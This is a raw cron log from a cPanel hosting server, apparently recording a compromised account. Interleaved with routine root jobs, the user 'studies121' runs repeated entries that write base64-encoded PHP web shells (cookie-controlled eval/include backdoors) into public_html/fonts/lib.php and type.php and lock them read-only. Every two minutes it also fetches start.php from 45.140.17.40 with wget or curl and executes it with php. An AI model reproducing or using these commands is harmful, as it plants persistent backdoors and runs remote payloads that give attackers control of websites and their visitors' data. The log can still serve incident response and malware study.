Sep 20 16:58:01 ip-184-168-122-23 CROND[7806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:58:01 ip-184-168-122-23 CROND[7809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:58:01 ip-184-168-122-23 CROND[7810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:59:01 ip-184-168-122-23 CROND[8052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:59:01 ip-184-168-122-23 CROND[8053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:59:01 ip-184-168-122-23 CROND[8054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:59:01 ip-184-168-122-23 CROND[8060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:00:01 ip-184-168-122-23 CROND[8322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:00:01 ip-184-168-122-23 CROND[8329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:00:01 ip-184-168-122-23 CROND[8330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:01:01 ip-184-168-122-23 CROND[8617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:01:01 ip-184-168-122-23 CROND[8618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:01:01 ip-184-168-122-23 CROND[8620]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 17:01:01 ip-184-168-122-23 CROND[8621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:01:01 ip-184-168-122-23 CROND[8622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 17:01:01 ip-184-168-122-23 CROND[8626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8620]: starting 0anacron
Sep 20 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8640]: finished 0anacron
Sep 20 17:02:01 ip-184-168-122-23 CROND[8889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:02:01 ip-184-168-122-23 CROND[8891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:02:01 ip-184-168-122-23 CROND[8892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:02:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:02:01 ip-184-168-122-23 CROND[8894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:03:01 ip-184-168-122-23 CROND[9254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:03:01 ip-184-168-122-23 CROND[9256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:03:01 ip-184-168-122-23 CROND[9258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:03:01 ip-184-168-122-23 CROND[9261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:04:01 ip-184-168-122-23 CROND[9544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:04:01 ip-184-168-122-23 CROND[9548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:04:01 ip-184-168-122-23 CROND[9546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:04:01 ip-184-168-122-23 CROND[9547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:04:01 ip-184-168-122-23 CROND[9549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:05:01 ip-184-168-122-23 CROND[9797]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:05:01 ip-184-168-122-23 CROND[9799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:06:01 ip-184-168-122-23 CROND[10073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:06:01 ip-184-168-122-23 CROND[10075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:06:01 ip-184-168-122-23 CROND[10079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:06:01 ip-184-168-122-23 CROND[10078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:06:01 ip-184-168-122-23 CROND[10077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:07:01 ip-184-168-122-23 CROND[10360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:07:01 ip-184-168-122-23 CROND[10361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:07:01 ip-184-168-122-23 CROND[10362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:07:01 ip-184-168-122-23 CROND[10364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:08:01 ip-184-168-122-23 CROND[10684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:08:01 ip-184-168-122-23 CROND[10685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:08:01 ip-184-168-122-23 CROND[10688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:08:01 ip-184-168-122-23 CROND[10689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:08:01 ip-184-168-122-23 CROND[10690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:09:01 ip-184-168-122-23 CROND[10944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:09:01 ip-184-168-122-23 CROND[10946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:09:01 ip-184-168-122-23 CROND[10948]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 17:09:01 ip-184-168-122-23 CROND[10947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:09:01 ip-184-168-122-23 CROND[10949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:10:02 ip-184-168-122-23 CROND[11214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:10:02 ip-184-168-122-23 CROND[11216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:10:02 ip-184-168-122-23 CROND[11217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:10:02 ip-184-168-122-23 CROND[11218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:10:02 ip-184-168-122-23 CROND[11219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
